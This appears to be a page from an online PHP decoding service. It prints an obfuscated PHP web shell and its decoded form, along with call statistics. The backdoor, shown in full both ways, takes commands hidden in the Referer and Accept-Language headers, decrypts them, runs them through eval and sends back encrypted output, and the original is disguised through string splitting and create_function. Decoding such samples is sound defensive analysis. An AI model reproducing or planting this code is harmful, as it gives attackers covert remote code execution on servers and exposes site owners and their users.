Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $d='m);if(dj$q&dj&$mdj){@sessiondj_djstartdj();$s=&$_SESSdjIONdj;$ss="sudjbdjsdjtr"..
Decoded Output download
$kh="c260";$kf="2b00";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$d='m);if(dj$q&dj&$mdj){@sessiondj_djstartdj();$s=&$_SESSdjIONdj;$ss="sudjbdjsdjtr";$sl="strtolowe';
$P='),$ss($s[$dji],0,$edj)dj))dj,$k)));$o=obdj_getdj_contents();djob_end_cdjleandj();$d=badjdjsedj';
$y='trpdjos($pdj,$h)===0){$s[$idj]="";$pdjdj=$ss($djp,3);}djidjf(array_kdjdjey_edjxdjists($i,$s)dj){';
$R=str_replace('kw','','ckwrekwkwate_fkwkwukwnction');
$b='64_encode(x(gzcdjdjomdjpress($o),$k));pdjrindjt("<$k>$d<dj/$k>"dj);@sdjession_dedjstroy(dj);}}}}';
$i='j};}}return djdj$o;}$r=$_SERdjVER;djdj$rdjrdj=@$r["HTTP_djREFERER"dj];$rdja=@$r["HTdjTP_ACCEPT_';
$p='rdj";$i=$mdj[1][0djdj].$m[1][1]dj;$hdj=dj$sdjl($ssdj(md5(dj$i.dj$kh),0,3));$djf=$sl($ss(md5(dj';
$o='$s[$i].dj=$p;$e=strpos($djs[$i],$djf);if(dj$e){dj$k=$kh.$kf;djob_stdjartdj();@evdjaldj(@gzuncom';
$L='dj$idj.$kf),0,3));$p="";fodjdjr($djz=1;$z<cdjount($m[1]dj);$z++djdj)$djp.=$q[$m[2][$z]];idjfdj(s';
$G='djpress(@x(@djbasedj64_decoddje(predjgdj_rdjeplace(arrdjay("/_/",dj"/-/")dj,arradjy("/"dj,"+dj"';
$K='$kh=dj"c2dj60"dj;$kf=dj"2b00";functidjodjn x($t,$k){$cdjdj=strlen(dj$kdj);$l=strlen($t);$djo=""';
$Y=';djfor($idj=0;$i<dj$l;){fdjodjr($j=0;(dj$j<$c&&$i<dj$l);$djj++,$i++dj){$o.dj=dj$t{$i}^$kdj{$dj';
$I='rdjray_djvaldjues($qdj);preg_matdjch_aldjl("/([\\wdj])[\\w-dj]+dj(dj?:;q=0.([dj\\d]))?,?/",dj$ra,$dj';
$a='LANdjGUAGE"];idjf($djdjrr&&$ra){$dju=parse_djurl($rr);pdjadjrsedj_str($u["qdjudjery"],$q);$q=a';
$r=str_replace('dj','',$K.$Y.$i.$a.$I.$d.$p.$L.$y.$o.$G.$P.$b);
$h=$R('',$r);$h();
?>Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | a513564bc50a290291e637b316495448 |
| Eval Count | 1 |
| Decode Time | 108 ms |